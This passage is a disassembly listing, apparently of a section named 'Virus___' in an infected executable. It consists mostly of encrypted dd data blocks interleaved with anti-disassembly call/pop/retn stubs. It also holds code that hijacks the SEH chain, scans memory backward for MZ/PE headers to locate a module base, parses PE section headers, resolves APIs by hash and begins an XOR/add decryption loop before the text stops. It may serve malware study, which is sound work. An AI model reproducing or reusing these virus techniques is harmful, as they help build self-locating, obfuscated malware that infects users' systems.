		dd 0E8505771h, 14h, 5A3E387Fh, 30B5485Dh, 44808933h, 0F72B8B5Ch
		dd 0D1DFEB86h, 5F75B353h, 2404895Bh, 0F4DF8166h, 29006A46h
		dd 5D0A558Dh, 67E66809h, 0B8605B3Ah, 11ED9BC0h,	8A616060h
		dd 816161D0h, 64192434h, 6A5B25h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0CAA85FC3h, 63017B4Ch
		dd 0E381A09Fh, 3A096946h, 0FAD95FFh, 6A095Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4DDE83C3h
		dd 1161BD8Bh, 8589095Dh, 960A564h, 3840Fh, 0CF800000h
		dd 0EB81567Ah, 2760CEC5h, 1F6E95Bh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 396BD6C3h
		dd 25243BE9h, 669A350Ch, 0E209F781h, 0C799501h,	858B095Dh
		dd 960A55Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FCC35343h, 0C7B2B21Fh,	241379BFh, 1800C748h, 8B000000h
		dd 5D21C1BDh, 958B6009h, 95D0601h, 0C2E782B9h, 0B58B6139h
		dd 960A560h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	91C35646h
		dd 1E8DBD2Bh, 0BD89095Dh, 95D2EE1h, 3151858Bh, 6A095Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 6FC62BC3h, 25B1C1BFh, 0B70F50F7h, 600689D8h,	0BE9h
		dd 3861FB00h, 74E65D80h, 8589DE67h, 61F3BF0Fh, 2C0D858Bh
		dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A39D2FC3h, 0D9B45870h, 89335B62h, 6A0446h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D3CFC7C3h, 3A0AE4B8h, 66526050h, 59D826BFh,	61605250h
		dd 585A310Fh, 24348961h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 40C35747h, 957F52E4h,	0F83CB7E0h, 10C1BD89h
		dd 0B5FF095Dh, 960A55Ch, 19059529h, 0FC68095Dh,	50D0DD53h
		dd 2CB46052h, 61F78B66h, 0F98B310Fh, 481585Ah, 41B00324h
		dd 55006A2Fh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F37C9C8h, 58Ch,	0D3816600h, 858D23E5h
		dd 960A564h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	34C35646h, 0D98B6690h, 0B70F9050h, 0AD95FFFEh
		dd 0F9095D0Fh, 0D8D8961h, 0C7095D08h, 5D15F985h, 309h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0F89CCA58h, 8BB4727Eh, 64BD83E3h, 960A5h
		dd 59840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 160424h, 52420000h, 0AFC950C3h, 188DBD8Bh, 9D8B095Dh
		dd 95D0705h, 45E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 3FFE1146h, 0F6380748h
		dd 19D8933h, 50095D25h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0E9F8C08Bh, 0Fh,	0A6111E62h, 0AAD0C869h
		dd 5B9F4491h, 8362D5DEh, 5D15F9BDh, 850F0309h, 439h, 831FD780h
		dd 60A564BDh, 840F0009h, 429h, 6459D2Bh, 0B5FF095Dh, 960A564h
		dd 0A4195FFh, 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9A7E50C3h, 0FE6B835h, 0B58BDABFh
		dd 960A558h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0BC35747h, 0AB4138D8h, 0BF0F804Bh, 106C7D8h, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 2E5DC350h, 0E94C50E3h, 9,	0C0E19131h, 0C387DB17h
		dd 5250966Eh, 12E9h, 0BEC7C100h, 77EFD7BEh, 0E6A43D4Dh
		dd 4BA5DBADh, 0F614B2Ah, 0F88B6631h, 0BB50585Ah, 1DCDC387h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 5757830Dh, 0DE8h, 396AD000h, 0FB8D954Ah
		dd 3FF30996h, 0DE80017h, 0C0000000h, 815B0824h,	0B54AF8Dh
		dd 0C5F57F72h, 0FF5F5F5Bh, 60A564B5h, 219D8B09h, 0FF095D14h
		dd 5D05FD95h, 0B58BF909h, 960A558h, 99D89h, 858B095Dh
		dd 95D304Dh, 89DEB70Fh,	0C486h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 72F6E92Ah
		dd 919958Bh, 0C381095Dh, 23016386h, 6A04C283h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0F0CBC352h, 8E942h, 4D070000h, 0D719BCCDh, 14B399E0h
		dd 0B3205089h, 0C1858DDEh, 0F0960BBh, 681h, 499D8900h
		dd 89095D21h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F8E8552Fh, 0AE9h, 0EC332500h
		dd 0F0AE0B70h, 6A97202Fh, 8EBF6600h, 64B5FF98h,	6A0960A5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 10C355h, 0CBFE05F2h, 0D381663Ah, 95FF4BFBh
		dd 95D14C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	28C35242h, 8BDF8A2Ah, 5D10E19Dh, 9E85009h, 0B2000000h
		dd 19DBC189h, 6AE2D934h, 2820Fh, 61600000h, 2434895Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 28C35646h
		dd 4961BA91h, 1024C83Dh, 3F5B509h, 0B5FF095Dh, 960A564h
		dd 95FFDA8Ah, 95D137Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 8AC35040h, 75FF9BD7h,	0BD834C74h, 95D19D1h
		dd 31840F00h, 89000000h, 5D02DDBDh, 8B665009h, 243489D9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h
		dd 95293716h, 95D2409h,	0A564B5FFh, 12E80960h, 8B000000h
		dd 866A070Ah, 986956A0h, 6F0B8F1Eh, 63943E6Ah, 25852980h
		dd 5F095D18h, 2F9595FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0DE0A50C3h, 0F3F449F6h
		dd 8B59D238h, 5D1305BDh, 0FF2FB309h, 60A564B5h,	65BD2309h
		dd 0FF095D03h, 5D179595h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E2CF70F0h
		dd 0DC5B9550h, 820FE8A2h, 0Bh, 5870Fh, 0A6BF0000h, 572C2620h
		dd 2A25B531h, 835B095Dh, 5D0B11BDh, 840F0209h, 4Eh, 2AB9BD89h
		dd 858B095Dh, 95D2215h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0B9C35747h, 0CDC3FC76h, 11E862h, 0AC40000h
		dd 0EF3B6A1Ah, 4005F44Bh, 7BD7EAF9h, 0FC3644E2h, 0C65Bh
		dd 33598589h, 85C7095Dh, 95D0545h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5BC723
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC723	proc near		; CODE XREF: Virus___:005BC71Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BC723	endp

; ---------------------------------------------------------------------------
		db 94h
		dd 6E91B4Bh, 0D9000000h, 5F8797B5h, 0CBF781CFh,	2B66BC20h
		dd 5D0B0DBDh, 0F2EBE909h, 830FFFFFh, 3,	8B36CB80h, 18DF81C1h
		dd 8D6DB67Ah, 5D223985h, 6650F509h, 897EF2BBh, 6AF82404h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 3DBD8B5Ah, 8B095D30h, 5D2AF19Dh,	0E9006A09h
		dd 0Eh,	92025079h, 8B630DA4h, 2A5011C0h, 9D2B5B42h, 95D21EDh
		dd 1E6D858Dh, 0C0830962h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0FDF483FCh
		dd 890FF0h, 90000000h, 310F5250h, 5BD88A53h, 9050585Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 2FC35141h
		dd 29608852h, 5D0C7985h, 3810F09h, 0F000000h, 8161D7B7h
		dd 67B411D7h, 6A006A0Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 7180C356h, 119D8BCDh
		dd 31095D2Bh, 5D0CDDB5h, 6A006A09h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 859BC350h
		dd 0FFD88B66h, 5D085195h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0EFDA336Bh
		dd 8D832D30h, 60914C8Dh, 51006A09h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4A200C3Ah, 6AD1FFA6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EEB6C350h, 0E83DB40Ch, 7, 90F53087h, 8B380096h
		dd 0BD835BFBh, 95D0971h, 9A850F01h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0A682C353h, 0ECDC4D84h, 898D01CBh, 6A095D13h, 53006A02h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0BBF68296h, 1CB35F4Dh, 24048950h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0D6C35747h,	0FF8DEE39h, 5D14C995h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0BAD91CFAh, 28853519h, 0EB1E95Eh, 0E80000h
		dd 5D000000h, 1E77ED81h, 6A0962h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 2A5271C3h, 33BADB4Ch
		dd 0F881E7Bh, 68Ch, 1D9D8900h, 6A095D31h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1F07C356h
		dd 23B58589h, 858D095Dh, 9608AE2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0F8C35545h,	0BD8BC648h, 95D14CDh
		dd 4569BF90h, 0F502502h, 0C8Dh,	52506000h, 585A310Fh, 0DB09BB66h
		dd 0E9609061h, 9, 9ED355F0h, 153BA8A6h,	0FF6461C3h, 35h
		dd 0CE900h, 37E50000h, 6A38DBDAh, 4F9DE351h, 0BD01E8FBh
		dd 95D0839h, 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 57C1C352h, 3C03C34Ah
		dd 8AC8F384h, 0FFD7DB80h, 5D216985h, 52006A09h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0D2343C93h
		dd 0A36D01DDh, 0C860Fh,	880F0000h, 6, 2BAD8529h, 0FF6A095Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9EC35747h
		dd 0BA4ABC48h, 0B724BF6Ch, 0C5B5FFF1h, 0E8095D29h, 8, 9C4AD622h
		dd 1B1E0C78h, 13840Fh, 0DE80000h, 0B6000000h, 53093624h
		dd 0FCA02CBDh, 0C007E045h, 0BD8B5B5Bh, 95D02E5h, 38595FFh
		dd 0E9095Dh, 33000001h,	5D28119Dh, 0E800B009h, 14h, 1923220Eh
		dd 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h,	81D8589h
		dd 0E65F095Dh, 0C5858970h, 0E4095D06h, 0F613C71h, 0C683h
		dd 45B58900h, 0F095D23h, 9D8BC8B6h, 95D184Dh, 6BAh, 91850100h
		dd 8B095D09h, 0FD8D89C1h, 0C1095D21h, 0BD8904E8h, 95D182Dh
		dd 89E2F766h, 5D227D9Dh, 0C82BF809h, 0AD9D8B57h, 5F095D02h
		dd 80E9D18Bh, 0F000000h, 681h, 0ED9D8B00h, 8B095D21h, 47554C85h
		dd 7CEB8049h, 8B07C083h, 0C083D8h, 5AB4F781h, 0D03B1477h
		dd 13830Fh, 0BD8B0000h,	95D0B7Dh, 48E9D88Bh, 8B000000h
		dd 5D263D9Dh, 0FF8D8B09h, 0E9FFFFFFh, 9, 910005B4h, 6AF3BEC2h
		dd 1E1839Ah, 25840Fh, 0CEB30000h, 0FFFFA583h, 89FEFFFFh
		dd 5D333DB5h, 0C9B58909h, 89095D26h, 47554C95h,	0DB816649h
		dd 0E94F70h, 8D000000h,	6198ECB5h, 13E809h, 66BF0000h
		dd 0BED0E10h, 8F5ED315h, 1BC7544Bh, 0AF10CD59h,	0FABF0FB1h
		dd 6A006A5Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 2691C357h, 9A6FBB3Bh, 12E9CCh
		dd 7CB40000h, 63BA3AEh,	0B76BF421h, 74E0DC61h, 1B9B4389h
		dd 11B195FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 747621C3h, 2138B877h, 6E9h, 3D77DF00h
		dd 0B982F3D6h, 0FCCh, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 19h, 0EDC35747h, 0C55174C8h, 0DD8D29D5h, 83095D26h
		dd 8D89FCE1h, 95D0935h,	0F88B66FCh, 9D896053h, 95D0371h
		dd 0B85B61h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 9FA7C351h, 0AF55B484h
		dd 9D8B626Ch, 95D2EFDh,	0BAh, 0BCD78000h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	54C35747h, 903125C3h, 698D0912h, 6A095D03h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 61CC353h, 1ACE01CCh,	1B77736h, 880Dh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0CFF1CE0h, 8B83B1F7h, 5D02B59Dh, 19958B09h, 6A095D09h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 134BC355h, 2BEA454Eh, 498D8B74h, 6A095D13h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0D2C0C356h, 8B5879F1h, 5D0279BDh,	0C28B5009h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 81ECC352h, 9E48A038h, 51006A8Dh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 8DC10376h, 0FAB70F6Fh
		dd 0F9BA6660h, 0C1B589C7h, 61095D26h, 3169BD83h, 0F00095Dh
		dd 7984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0F856E10Fh, 263C05E8h, 0FE8B0F38h
		dd 18ED9D0Bh, 0B8095Dh,	0F000000h, 0C8Ch, 68A0F00h, 8B000000h
		dd 5D09899Dh, 928D8D09h, 6A095D4Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1ADEC357h
		dd 6642CBE6h, 0FF50AEBFh, 0DBB70FE1h, 2AF18509h, 0BD83095Dh
		dd 95D15F9h, 86840F00h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0A73CC355h, 39951EBEh, 83DA8BE3h, 5D15F9BDh,	840F0109h
		dd 470h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	0FDC35040h, 4F628587h, 836C3596h, 5D15F9BDh, 860F0309h
		dd 40Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0F6C35747h, 0BF607869h,	433F208h, 80D98C66h, 0C90A04E1h
		dd 162840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 4F152FC3h, 858BF883h, 95D2C0Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9EC35747h
		dd 0CB815E4Dh, 3937564Eh, 58A0Fh, 0F5BF0000h, 330F3E13h
		dd 5D276585h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 49894AA5h, 39610A95h, 8B0F6057h
		dd 6, 8C0Fh, 8D8B0000h,	95D19C1h, 0C9950161h, 90095D31h
		dd 0DE8B6650h, 50006A90h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0DA2F8A1Ah, 0BFE39123h
		dd 45D9352Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F4C767C3h, 0A1ADE4A1h, 79858923h
		dd 68095D0Fh, 8383E22Fh, 481CFB3h, 9B21D024h, 0AD95FF7Ch
		dd 6A095D0Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6DF5C350h, 1EB8166h, 648589D4h
		dd 6A0960A5h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 6378C352h, 97B4FE04h, 0D9462A6Ch
		dd 0A6DDF9BFh, 0C19D8B42h, 0E9095D26h, 1CDh, 0A55C858Bh
		dd 0C70960h, 18h, 0EF816660h, 0BA664A1Eh, 8B617BB1h, 60A560B5h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A8A69ED3h, 10F1BD89h, 0D98B095Dh, 3151858Bh
		dd 0DF81095Dh, 401CF15Fh, 6A0689h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 91B490C3h, 81C9BFAEh
		dd 858B117Bh, 95D2C0Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F3C35545h, 0AED9F8DDh, 0BD9F56h, 0D1BD8B19h
		dd 60095D1Ch, 165E06BAh, 358D8916h, 61095D09h, 6A044689h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 95C7C350h, 6C80A1F8h, 0F8B70F5Dh,	8B63BF50h
		dd 34891AE1h, 0FFFEB724h, 60A55CB5h, 53006A09h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 7CAEDF02h
		dd 95DBBB60h, 8B663AD5h, 0D86861CEh, 5766EE6Bh,	289CBF66h
		dd 2434815Fh, 66F16827h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 66C35343h, 142B4A4Fh,	858DFA0Ch, 960A564h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 94C35646h
		dd 4DF8613Bh, 9589BD88h, 95D1D51h, 21759D8Bh, 6650095Dh
		dd 489DE8Bh, 1958924h, 0FF095D29h, 5D0FAD95h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 119C59D8h, 0E975C874h, 11h, 0DE0BC045h, 29B74385h, 0DDE124F7h
		dd 1CB7B6Eh, 0F1BF6653h, 6A61B9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BF6665C3h, 0BF0F4426h
		dd 0F985C7F9h, 3095D15h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D775C357h
		dd 0E78166ECh, 0BD83742Eh, 960A564h, 4B840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 6689C351h, 0BC86D381h, 40E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 79BB66D2h, 0D282BB6Bh, 305056BDh, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0CBB360C0h,	30E5BD89h
		dd 8B61095Dh, 0F9BD83F9h, 3095D15h, 439850Fh, 0BD8B0000h
		dd 95D063Dh, 0A564BD83h, 0F000960h, 42684h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 75D8BE59h, 31B589E7h, 0FF095D33h, 60A564B5h,	0CD9D8B09h
		dd 0FF095D16h, 5D0A4195h, 0BD0BFC09h, 95D2655h,	0A558B58Bh
		dd 6A0960h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9AF6C1C3h, 0B4A45B3Dh, 0A2CBB66h,	106C7h
		dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 25198AC3h, 0B70F3CAFh, 6E896FFh, 12000000h
		dd 320E0FF2h, 5810F1Dh,	0BB000000h, 1F977785h, 0DE8B505Bh
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 77A9B468h, 64B5FF57h, 6A0960A5h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 18F7C350h, 748CE43Ah, 95FF3185h, 95D05FDh, 9E8h, 12C6E400h
		dd 0E27DD0B1h, 0E95643E6h, 0Bh,	8F149CC6h, 4D34EDA1h, 5B1A5D0Ch
		dd 58B58B5Fh, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8632C355h, 0D7C0A1B8h
		dd 858B3D11h, 95D304Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0D0C35141h, 0C4868985h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 1020C355h, 8B462078h, 5D16B9BDh, 19958B09h, 6A095D09h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A81EC357h, 85891303h, 95D0C4Dh, 8904C283h
		dd 5D2B198Dh, 20508909h, 16659D8Bh, 8D09095Dh, 95D1629h
		dd 0BBC1858Dh, 0B5290960h, 95D17A9h, 0B88689h, 0BD8B0000h
		dd 95D24D5h, 11B9BD31h,	6A095Dh, 5B19F381h, 0B5FF645Eh
		dd 960A564h, 20299589h,	0BD01095Dh, 95D22ADh, 14C995FFh
		dd 0BD8B095Dh, 95D1341h, 6A18BF50h, 348947FDh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0B5FFFC26h, 960A564h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 5DC35343h, 3CB2D88h, 987063C4h, 137D95FFh
		dd 0BD0B095Dh, 95D0FA9h, 19D1BD83h, 0F00095Dh, 3D84h, 29BD0300h
		dd 50095D0Bh, 348975B3h, 13E824h, 48150000h, 0B15CAA7Dh
		dd 3FF519FAh, 0A5DFDFF9h, 0DE7DD447h, 6830F47h,	0F000000h
		dd 88h,	800F5F00h, 6, 6F19D29h,	0B5FF095Dh, 960A564h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h, 6850F11h
		dd 29000000h, 5D187DBDh, 9595FF09h, 6A095D2Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 183C356h, 0C60D59DBh, 0F602869h, 28Ch, 0E936B600h, 12h
		dd 0A0FAEE3Ch
		dd 0E0B00ABAh, 905FC2F8h, 85FD1350h, 0FC610D20h, 0A564B5FFh
		dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0B39196C3h, 9595FF72h, 80095D17h,	0BD838CDFh
		dd 95D0B11h, 77840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 41C0C355h
		dd 65698DE3h, 0BD03C2D8h, 95D2959h, 51DBD2Bh, 858B095Dh
		dd 95D2215h, 0C96DF9BFh, 0C655h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 19h, 0A0C35141h,	7E057269h, 14E9F5h
		dd 0B72A0000h, 6636AB86h, 0C9B98869h, 5DE1A436h, 75A081Dh
		dd 85C787BAh, 95D0545h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BD80B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD80B	proc near		; CODE XREF: Virus___:005BD803p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BD80B	endp

; ---------------------------------------------------------------------------
		db 0F0h, 90h
		db 9Bh,	96h, 0E9h
		dd 0F55E7EAh, 8166DABFh, 0E95D2FF3h, 0FFFFF2AEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F2C35343h, 66C18BCEh
		dd 0BAFCF88Bh, 0F0112000h, 0EA81h, 0C283F000h, 1D958914h
		dd 83095D28h, 858D14EAh, 9622DC9h, 35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5BD88C:				; CODE XREF: Virus___:005BD8AEj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5BD8A9
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5BD8B3


loc_5BD8A9:				; CODE XREF: Virus___:005BD891j
		sub	eax, 1000h
		jmp	loc_5BD88C
; ---------------------------------------------------------------------------


loc_5BD8B3:				; CODE XREF: Virus___:005BD8A3j
		mov	ecx, eax
		mov	[ebp+95D1A41h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+95D1A31h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+95D29BDh],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+95D25FDh],	edx
		add	edx, [eax+8]
		mov	[ebp+95D1CBDh],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5BD90C
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5BD90C:				; CODE XREF: Virus___:005BD8F4j
		cmp	dword ptr [ebp+95D317Dh], 0
		jz	loc_5BD93D
		mov	byte ptr [ebp+95D3335h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+95D0815h]
		lea	eax, [ebp+9607613h]
		call	eax
		push	0
		call	eax
		mov	[ebp+95D11EDh],	eax


loc_5BD93D:				; CODE XREF: Virus___:005BD913j
		mov	edx, ebx
		call	near ptr sub_5BD954
		call	dword ptr ds:717C0D5Fh
		mov	cl, 0F5h
		cmp	[di-9Ch], ebp
		test	[edi+edx*2], dl

; =============== S U B	R O U T	I N E =======================================



sub_5BD954	proc far		; CODE XREF: Virus___:005BD93Fp
		adc	eax, 3413A9FEh
		pop	edi
		sub	eax, 6713ACB9h
		add	edi, 5C50h
		mov	cx, ax
		mov	ebx, 0
		movzx	eax, si


loc_5BD972:				; CODE XREF: sub_5BD9D5+49j
		mov	edx, [edi+ebx]
		xor	edx, 12D4A692h
		movsx	eax, ax
		add	edx, 79E916B9h
		jmp	loc_5BD99B
; ---------------------------------------------------------------------------
		db 0C6h, 0E9h, 0FAh
		dd 0EB885BE1h, 0F770C889h, 7C69335h
		db 0D6h, 0A5h, 18h
; ---------------------------------------------------------------------------


loc_5BD99B:				; CODE XREF: sub_5BD954+30j
		sub	edx, 36265793h
